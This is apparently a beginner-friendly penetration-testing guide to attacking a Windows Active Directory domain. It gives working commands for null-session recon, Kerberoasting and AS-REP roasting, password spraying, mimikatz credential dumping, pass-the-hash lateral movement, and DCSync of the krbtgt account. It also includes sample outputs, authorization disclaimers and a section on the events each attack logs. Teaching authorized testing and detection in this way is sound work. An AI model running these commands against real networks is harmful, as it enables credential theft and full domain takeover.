

Windows & Active Directory Enumeration

A complete, beginner-friendly walkthrough of how I actually enumerate a Windows domain — written in plain language, every term explained before I use it, every command shown with the flags broken down *and* a sample of what you'll actually see on screen. If you've never touched Active Directory before, start at Part 1. If you already know what a TGT is, skip straight to Part 3.

BEGINNER FRIENDLY

15 SECTIONS

GLOSSARY INCLUDED

AUTHORIZED TESTING ONLY

WHAT'S INSIDE

- | | |
|--|---|
| 01 Active Directory in Plain English | 09 Password Spraying |
| 02 Kerberos, in Plain English | 10 Local Host Enumeration & Privesc |
| 03 Building Your Toolkit | 11 Credential Dumping |
| 04 First Look: Unauthenticated Recon | 12 Lateral Movement |
| 05 Enumerating Users, Groups & Computers | 13 Domain Dominance (DCSync & Golden Tickets) |
| 06 Mapping the Domain with BloodHound | 14 What Gets Logged (Blue Team Awareness) |
| 07 Kerberoasting | 15 Quick Reference & Glossary |
| 08 AS-REP Roasting | |

01 Active Directory in Plain English

Before any command, the concepts — because I've watched people run tools they don't understand and get lost the moment something looks different from the tutorial. Active Directory (AD) is Microsoft's system for managing every user, computer, and permission across a company network from one place, instead of configuring each machine by hand.

TERM	WHAT IT ACTUALLY MEANS
Domain	A group of users and computers managed together under one set of rules, e.g. <code>corp.local</code> . Think of it as "the company's network."
Domain Controller (DC)	The server that holds the domain's database and answers every "is this password correct?" and "what is this user allowed to do?" question. Compromise the DC, compromise the domain.
Forest	One or more domains that trust each other and share a common structure. Most companies you'll test have just one domain in one forest.
Organizational Unit (OU)	A folder-like container for organizing users/computers (e.g. "Finance," "IT Admins") so policies can be applied to a group at once.
Group Policy (GPO)	Rules pushed out to computers/users automatically — password policy, login scripts, restrictions. A misconfigured GPO is a common way to escalate privileges.
SID	Security Identifier — a unique ID number for every user, group, and computer. Usernames can change; the SID never does.
SPN	Service Principal Name — labels which service an account runs (e.g. a SQL Server service account). This is the hook Kerberoasting uses — see Part 7.
LDAP	The protocol clients use to ask the domain controller questions — "list all users," "what group is Bob in." Almost every enumeration tool is really just LDAP queries wearing a costume.

Why this matters before you touch a keyboard: nearly every attack in this guide is really just "ask the domain a question it will honestly answer, because that's its job," or "find the one account with a weak password among thousands." There's very little exotic hacking here — it's patient enumeration, every time.

02 Kerberos, in Plain English

Kerberos is the authentication protocol Windows domains use instead of "send your password every time." Half of this guide (Parts 7, 8, and 13) is really just different ways of abusing how Kerberos works, so this is worth actually understanding rather than skipping.

- You log in once and get a **TGT** (Ticket Granting Ticket) — proof from the domain controller that says "yes, this really is Alice, and she typed the right password." You don't need to type your password again for the rest of the session.
- Whenever you want to use a service (a file share, a SQL server), you show your TGT to the domain controller and get back a **TGS** (a service ticket) — a ticket specifically for that one service, encrypted with *that service account's own password hash*.
- That last detail is everything: since a TGS is encrypted with the target service account's hash, **anyone can request one** for any service account, take it home, and try to crack the encryption offline — no domain traffic needed after that. That's Kerberoasting, in one sentence.

03 Building Your Toolkit

Everything below runs from a Linux attack box against a Windows target, which is how most real engagements work. I've listed the actual package/repo so you're not hunting for it mid-test.

TOOL	WHAT IT'S FOR	GET IT
<code>netexec</code>	Swiss-army knife for SMB/LDAP/WinRM enum & spraying (successor to CrackMapExec)	<code>pipx install netexec</code>
<code>impacket</code>	Python library + scripts: secretsdump, GetUserSPNs, psexec, wmiexec	<code>pipx install impacket</code>
<code>BloodHound</code>	Graphs the domain and shows you the shortest path to Domain Admin	github.com/Specter0ps/BloodHound
<code>PowerView</code> / <code>PowerSploit</code>	PowerShell-native domain enumeration, run from a foothold on Windows	github.com/PowerShellMafia/PowerSploit
<code>Rubeus</code>	Windows-native Kerberos abuse toolkit (roasting, ticket requests)	github.com/GhostPack/Rubeus
<code>Mimikatz</code>	Credential extraction from Windows memory (LSASS)	github.com/gentilkiwi/mimikatz

04 First Look: Unauthenticated Recon

Before I have any credentials at all, a surprising amount of a Windows domain will still answer questions politely. I always start here, because a null session or guest account is the difference between "I know nothing" and "I have a username list" in about thirty seconds.

- Confirm you're actually looking at a domain controller, not just any Windows box — this changes everything about what's reachable.
- Check for SMB null sessions (anonymous login) — an old but still-common misconfiguration that hands over share lists and sometimes user lists for free.

- ❑ Grab the domain's password policy before you do anything involving guessed passwords — you need to know the lockout threshold before you spray a single password, or you'll lock out every account in the domain and get a very awkward call from the client.

```
nxc smb 10.10.10.5 -u '' -p '' --shares
```

nxc smb <ip> talk to the target over SMB — the file-sharing protocol Windows uses, and a goldmine for enumeration.

-u '' -p '' an empty username and password — this is exactly what a "null session" is: logging in as nobody, which some servers still allow.

--shares list every SMB share the target exposes, and whether you (as this nobody user) can read or write to each one.

SAMPLE OUTPUT

```
SMB 10.10.10.5 445 DC01 [*] Windows 10 / Server 2019 (name:DC01) (domain:corp.local)
SMB 10.10.10.5 445 DC01 [+] corp.local\.: (Guest)
SHARE Permissions Remark
-----
NETLOGON READ Logon server share
SYSVOL READ Logon server share
Users READ,WRITE <- worth a look
```

```
nxc smb 10.10.10.5 -u '' -p '' --pass-pol
```

--pass-pol pulls the domain's password policy — minimum length, complexity rules, and critically, the lockout threshold.

Read the lockout threshold before you spray. If the policy allows 5 bad attempts before a lockout, you get 4 guesses per account, ever, per lockout-reset window — plan your password list accordingly.

05 Enumerating Users, Groups & Computers

Once you have any valid credentials at all — even a single low-privilege user — the domain controller will answer almost anything you ask it over LDAP, because answering those questions honestly is literally its job. This is where you build the map of who exists and who matters.

- ❑ Get the full user list — you can't attack an account you don't know exists.
- ❑ Get the group list, and specifically who's in **Domain Admins** and **Enterprise Admins** — these are your end goal accounts.
- ❑ Get the computer list — every domain-joined machine is a potential foothold or a lateral movement target.
- ❑ Check for accounts flagged "password never expires" or "does not require Kerberos pre-auth" — both are enumerable from LDAP and both are attack surface (the second one is Part 8).

```
nxc smb 10.10.10.5 -u alice -p 'Summer2026!' --users
```

-u alice -p '...' now authenticating as a real (even low-privilege) domain user — this alone unlocks LDAP enumeration.

--users dump every domain user account it can enumerate over LDAP/SAMR.

SAMPLE OUTPUT

CORP.LOCAL\Administrator	Built-in account for administering the domain
CORP.LOCAL\svc_sql	<- service account, worth checking for Kerberoasting
CORP.LOCAL\j.smith	
CORP.LOCAL\a.jones	

```
ldapsearch -x -H ldap://10.10.10.5 -D 'alice@corp.local' -w 'Summer2026!' \
  -b 'DC=corp,DC=local' '(memberOf=CN=Domain Admins,CN=Users,DC=corp,DC=local)' sAMAccountName
```

-x	use simple authentication (plain username/password) instead of the more complex SASL mechanisms.
-D '...' -w '...'	the "bind DN" (who you're authenticating as) and its password.
-b 'DC=corp,DC=local'	the search base — where in the directory tree to start looking (the whole domain, here).
(memberOf=...)	an LDAP filter: only return objects that are a member of the Domain Admins group.

06 Mapping the Domain with BloodHound

Manually piecing together "user A is in group B, which has rights on computer C, which has an admin session from user D who's a Domain Admin" gets impossible past a few dozen objects. BloodHound builds that entire graph for you and highlights the shortest path to Domain Admin, visually. I run this early on every engagement.

- ❑ Collect data from a domain-joined foothold or remotely with valid credentials — collection doesn't need admin rights, just a valid domain account.
- ❑ Load the collected data into the BloodHound GUI and run the built-in "Shortest Path to Domain Admins" query first — it's usually the single most useful thing BloodHound does for you.
- ❑ Pay attention to edges like **GenericAll**, **WriteDacl**, and **ForceChangePassword** — these mean an account you already control can directly compromise another object, no exploit required.

```
bloodhound-python -u alice -p 'Summer2026!' -d corp.local -ns 10.10.10.5 -c All
```

-d corp.local	the domain to collect against.
-ns 10.10.10.5	the nameserver/DC to query — BloodHound needs to resolve domain names, so point it straight at the DC.
-c All	collect every data category it supports (sessions, group memberships, ACLs, trusts) rather than a partial run.

07 Kerberoasting **HIGH VALUE**

Straight from the Kerberos explanation in Part 2: any domain user can request a service ticket for any account with an SPN set, and that ticket is encrypted with the service account's own password hash. Take it home, crack it offline, no lockouts, no further domain traffic. Service accounts are also notorious for old, weak, never-rotated passwords — which is exactly why this attack works so often in the real world.

```
impacket-GetUserSPNs corp.local/alice:'Summer2026!' -dc-ip 10.10.10.5 -request
```

corp.local/alice:'...'	domain, username, and password of the account making the request — any valid domain account works.
-dc-ip 10.10.10.5	the domain controller to talk to directly.
-request	actually request a TGS for every SPN account found (without this flag it only lists them).

SAMPLE OUTPUT

ServicePrincipalName	Name	MemberOf	PasswordLastSet
MSSQLSvc/db01:1433	svc_sql	CN=SQL Admins,CN=Users	2019-03-11 08:22:14

\$krb5tgs\$23\$*svc_sql\$CORP.LOCAL\$corp.local/svc_sql*\$a1b2c3... <- crack this offline

```
hashcat -m 13100 hashes.txt rockyou.txt
```

-m 13100 hashcat's mode number for Kerberos 5 TGS-REP (etype 23) hashes — telling it exactly what format it's cracking.

rockyou.txt the wordlist to try — service accounts are exactly the kind of account that ends up with a password from a wordlist like this.

08 AS-REP Roasting

A close cousin of Kerberoasting. Normally, requesting a TGT requires proving you know the account's password first ("pre-authentication"). Some accounts have pre-auth *disabled* — often by an old migration or a well-meaning-but-wrong setting — which means anyone can request a TGT for that account with zero credentials, and part of what comes back is encrypted with that account's password hash. Same "crack it offline" story as Kerberoasting, but you don't even need valid creds to pull the hash.

```
impacket-GetNPUsers corp.local/ -dc-ip 10.10.10.5 -usersfile users.txt -no-pass -format hashcat
```

corp.local/ no username given before the slash — this attack doesn't need any valid credentials.

-usersfile users.txt a list of usernames to test — from your Part 5 enumeration.

-no-pass don't prompt for or use a password — this is an unauthenticated request.

-format hashcat output the cracked-hash format hashcat expects, ready to feed straight into **-m 18200**.

09 Password Spraying

Instead of guessing many passwords against one account (which triggers a lockout fast), you guess *one* likely password against every account, then wait out the lockout window and try the next one. Slow, quiet, and it works because "Summer2026!" or "Company123!" is still what a lot of real people pick.

- ❑ **Always check the lockout policy first** (Part 4) — this is the one mistake that turns a quiet test into an outage.
- ❑ Pick one or two passwords, spray the whole user list, wait out the lockout observation window, repeat.

```
nxc smb 10.10.10.5 -u users.txt -p 'Summer2026!' --continue-on-success
```

-u users.txt spray against every username in this file, one password at a time.

--continue-on-success keep going after a hit instead of stopping at the first one — you want every account this password works on, not just the first.

10 Local Host Enumeration & Privilege Escalation

Once you've landed on a single Windows box — via a phish, a vulnerable service, or valid creds and RDP/WinRM — the next question is simple: can this low-privilege foothold become local admin?

- ❑ Run an automated enumeration script first — it checks dozens of known misconfigurations faster than you can by hand.
- ❑ Look specifically for: unquoted service paths, weak service permissions, **AlwaysInstallElevated** registry keys, and scheduled tasks running as SYSTEM that you can write to.

- Check for saved credentials in scripts, config files, and PowerShell history — this is embarrassingly common.

```
.\winPEASx64.exe quiet cmd
```

quiet suppress ASCII-art banners and noise so the actual findings are easier to read/grep.

cmd format output for a plain command prompt rather than PowerShell's console (avoids some color/encoding glitches).

11 Credential Dumping

If you reach local admin (or SYSTEM) on a box, Windows keeps recently-used credentials in memory in a process called **LSASS** — that's how single sign-on works without asking you to re-type your password all day. Dumping that memory recovers those credentials.

```
mimikatz # privilege::debug  
mimikatz # sekurlsa::logonpasswords
```

privilege::debug elevate mimikatz's own process token so it's allowed to read another process's (LSASS's) memory.

sekurlsa::logonpasswords parse LSASS memory for every logged-on user's credentials — plaintext passwords where Windows still keeps them, and NTLM hashes always.

What's an NTLM hash, in plain terms? It's the one-way scrambled form of a password that Windows actually checks against — and crucially, many services will accept the *hash itself* as proof of identity without ever needing the real password. That's "pass-the-hash," and it's why dumping hashes is often as good as dumping plaintext passwords.

```
impacket-secretsdump corp.local/administrator:'P@ssw0rd!'@10.10.10.5
```

secretsdump a remote, no-agent-needed way to dump the same credential material as mimikatz — works over the network against a target you already have admin creds for.

12 Lateral Movement

You have a credential (password or NTLM hash) for an account with local admin somewhere else on the network. Now you use it to get an actual shell there.

```
impacket-wmiexec corp.local/administrator@10.10.10.20 -hashes :a1b2c3d4e5f6...
```

-hashes :<NTLM> authenticate using the NTLM hash directly instead of a plaintext password — this is pass-the-hash.

wmiexec executes commands via WMI — quieter than PsExec since it doesn't drop a service binary to disk.

```
evil-winrm -i 10.10.10.20 -u administrator -H a1b2c3d4e5f6...
```

-H <hash> same idea, over WinRM (PowerShell remoting) — gives you a full interactive PowerShell session, not just one-shot commands.

13 Domain Dominance

The endgame techniques — what you do once you effectively *are* the domain controller in terms of access. I explain these because you'll see them in every real writeup, but they need a Domain Admin-equivalent credential first; they aren't a shortcut

past everything above.

- ❑ **DCSync:** abuses legitimate domain-controller replication rights to ask a real DC to hand over any account's password hash — including `krbtgt`, the account that signs every Kerberos ticket in the domain.
- ❑ **Golden Ticket:** once you have the `krbtgt` hash, you can forge a TGT for *any* user, in *any* group, valid for years — a self-signed master key to the whole domain.

```
impacket-secretsdump corp.local/administrator:'P@ssw0rd!'@10.10.10.5 -just-dc-user krbtgt
```

`-just-dc-user krbtgt` perform a DCSync but only pull the one account we care about, instead of the entire domain's hashes.

14 What Gets Logged

I always keep one eye on the blue team's side, because I write detections for a living outside of testing, and it changes how I test. None of this is optional reading if you actually want to understand the attack, not just run the tool.

EVENT ID	WHAT IT MEANS	WHICH ATTACK LIGHTS IT UP
4768	A Kerberos TGT was requested	AS-REP Roasting (esp. with no preceding 4771)
4769	A Kerberos service ticket was requested	Kerberoasting — especially a burst of RC4 (etype 0x17) requests
4662	An operation was performed on an AD object	DCSync (look for the replication-rights GUIDs)
4625	A logon failed	Password spraying — a wide, shallow burst across many accounts

Same lesson as my other cheatsheets: a "closed, not successful" SIEM alert deserves the same manual check every time — the raw logs, not just the dashboard summary. I've been on the other side of that exact investigation.

15 Quick Reference & Glossary

Ports you'll actually use

PORT	SERVICE	WHY YOU CARE
53	DNS	AD is built on DNS — SRV records reveal DC locations
88	Kerberos	Every ticket request/roasting attack goes over this port
135	MSRPC	Endpoint mapper — used by WMI, DCOM lateral movement
389 / 636	LDAP / LDAPS	All the domain enumeration in Part 5 goes over this
445	SMB	Shares, null sessions, PsExec-style execution
3268 / 3269	Global Catalog	Forest-wide search across every domain
5985 / 5986	WinRM / WinRM over TLS	evil-winrm and PowerShell remoting

Glossary — the short version of every term used above

TERM	ONE-LINE DEFINITION
TGT	Ticket proving "I already logged in successfully," used to request access to anything else.
TGS	A ticket for one specific service, encrypted with that service account's own password hash.
NTLM hash	The scrambled form of a password Windows checks logins against; often usable on its own (pass-the-hash).
SPN	A label marking which service an account runs — the hook Kerberoasting targets.
LSASS	The Windows process that holds logged-on users' credentials in memory.
DCSync	Asking a domain controller to replicate (hand over) account password hashes.
krbtgt	The built-in account whose hash signs every Kerberos ticket in the domain — the ultimate target.
SID	A permanent unique ID for a user/group/computer, independent of its (changeable) name.

Every technique here needs a signed scope of engagement. Domain-wide credential dumping and ticket forgery are exactly the kind of actions that turn a legitimate test into a real incident if you're not explicitly authorized. Confirm scope, confirm rules of engagement, and stay inside both.

zephyrx.in — for authorized security testing and educational use only. Always operate within a signed scope of engagement and applicable law. This is a living checklist — I add to it every time I find something new that should've been on it already.